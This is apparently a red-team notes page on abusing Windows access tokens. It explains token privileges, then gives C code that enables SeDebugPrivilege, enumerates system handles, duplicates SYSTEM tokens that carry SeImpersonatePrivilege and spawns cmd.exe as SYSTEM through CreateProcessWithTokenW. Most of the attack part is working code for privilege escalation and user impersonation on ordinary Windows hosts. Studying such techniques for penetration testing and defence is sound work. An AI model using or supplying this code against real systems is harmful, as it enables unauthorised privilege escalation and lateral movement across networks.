Red Team Notes logo Red Team Notes

An access token in Windows is a data structure used by the operating system to represent the security context of a process or thread. It contains information about the identity and privileges of the user or entity associated with the process or thread. Access tokens are essential for managing access control and ensuring security within the Windows environment.

Abuse of certain tokens allows an attacker to either escalate privileges on the system or even impersonate users to move laterally across the network.

Key features of an Access Token:

SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeTcbPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege

If we achieve a user with SeImpersonationPrivilege which normally is enabled on services accounts, or we already pwned a local Administrator, we can Impersonate a logged on user.

We need SE_DEBUG_NAME SeDebugPrivilege in order to see all process information of the machine, to do that we should need a high privilege session.

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
	HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
		printf("OpenProcessToken() failed!\n");
		return FALSE;
	}

    if ( !LookupPrivilegeValue( 
            NULL,            // lookup privilege on local system
            lpszPrivilege,   // privilege to lookup 
            &luid ) )        // receives LUID of privilege
    {
        printf("LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    if ( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { 
          printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); 
          return FALSE; 
    } 

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
          printf("The token does not have the specified privilege.\n");
          return FALSE;
    } 
    return TRUE;
}

int main(int argc, char ** argv) {
    
    if(SetPrivilege(SE_DEBUG_NAME, ENABLE)){
        ListHandles();
    }
    return 0;
}

We want to list all the handles of the system. You can get more info on the following section:

NtDuplicateObject is used to create a handle that duplicate of the specified source handle, useful for query it.

typedef NTSTATUS (NTAPI * t_NtDuplicateObject)(
    HANDLE SourceProcessHandle,
    HANDLE SourceHandle,
    HANDLE TargetProcessHandle,
    PHANDLE TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG Attributes,
    ULONG Options
);

Once enumerated all the handlers we can filter ObjectTypeNumer to 0x5 to obtain all the tokens, remember we need to duplicate the handler in order to impersonate it.

#define HANDLE_TOKEN 0x05
...
if(handle.ObjectTypeNumber == HANDLE_TOKEN){
    // Duplicate the handle to query it
    hProc = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, handle.ProcessId);
    if((pNtDuplicateObject(hProc, (void *) handle.Handle, GetCurrentProcess(), &dupHandle, 0, 0, DUPLICATE_SAME_ACCESS)) < 0){
        continue;
    }

    if(ListHandleToken(dupHandle) == 1){
        CloseHandle(dupHandle);
        break;
    }
    CloseHandle(dupHandle);
}

At that moment we have all the access tokens of the system, we need two things, the owner or the context and the privileges.

GetTokenInformationfunction retrieves a specified type of information about an access token. The calling process must have appropriate access rights to obtain the information

BOOL GetTokenInformation(
  [in]            HANDLE                  TokenHandle,
  [in]            TOKEN_INFORMATION_CLASS TokenInformationClass,
  [out, optional] LPVOID                  TokenInformation,
  [in]            DWORD                   TokenInformationLength,
  [out]           PDWORD                  ReturnLength
);

We need to specify two different TOKEN_INFORMATION_CLASS: TokenUser and TokenPrivileges.

These will retrieve these token structures:

typedef struct _TOKEN_USER {
  SID_AND_ATTRIBUTES User;
} TOKEN_USER, *PTOKEN_USER;

typedef struct _TOKEN_PRIVILEGES {
  DWORD               PrivilegeCount;
  LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;

Finally with the help of LookupAccountSid and LookupPrivilegeNameA we are going to be able to translate the SID_AND_ATTRIBUTES and LUID_AND_ATTRIBUTES structure to printable ones.

So, knowing the context of the user, and having SeImpersonatePrivilege rights on the token we should be able to impersonate a user, which can be easily filtered on the following code.

int ListHandleToken(HANDLE hDup){
    TOKEN_USER * tInfo;
    DWORD dwSize = 0;
    TOKEN_PRIVILEGES * tPriv;
    DWORD dwSize2 = 0;
    STARTUPINFOW si = { sizeof(STARTUPINFOW) };
    PROCESS_INFORMATION pi;

    // QUERY TOKEN_USER
    GetTokenInformation(hDup, TokenUser, NULL, 0, &dwSize);
    tInfo = (TOKEN_USER *)malloc(dwSize);
    if(GetTokenInformation(hDup, TokenUser, tInfo, dwSize, &dwSize)==0){
        printf("Error 0x%x\n",GetLastError());
    }
    TCHAR name[256], domain[256];
    DWORD nameSize = 256, domainSize = 256;
    SID_NAME_USE sidType;
    
    if (LookupAccountSid(NULL, tInfo->User.Sid, name, &nameSize, domain, &domainSize, &sidType)) {
        printf("%s\\%s\n",domain,name); 
        // TOKEN from NT AUTHORITY\SYSTEM
        if(strcmp(name, "SYSTEM") == 0){
            // QUERY TOKEN_PRIVILEGES
            GetTokenInformation(hDup, TokenPrivileges, NULL, 0, &dwSize2);
            tPriv = (TOKEN_PRIVILEGES *)malloc(dwSize2);
            if(GetTokenInformation(hDup, TokenPrivileges, tPriv, dwSize2, &dwSize2)==0){
                printf("Error 0x%x\n",GetLastError());
            }
            for(int i=0; i<tPriv->PrivilegeCount; i++){
                LUID_AND_ATTRIBUTES priv = tPriv->Privileges[i];
                char privName[256];
                DWORD size = sizeof(privName);
                if (LookupPrivilegeNameA(NULL, &priv.Luid, privName, &size)) {
                    printf("\tPriv - > %s\n", privName);

                    // SeImpersonatePrivilege Token
                    if(strcmp(privName, "SeImpersonatePrivilege")==0){
                        ImpersonateLoggedOnUser(hDup);
                        if(CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)){
                            printf("[+] CMD launched!\n");
                            RevertToSelf();
                            return 1;
                        }else{ 
                            printf("[-] Error-> 0x%x\n", GetLastError());
                        }
                    }
                }
            }
        }
    }
    return 0;
}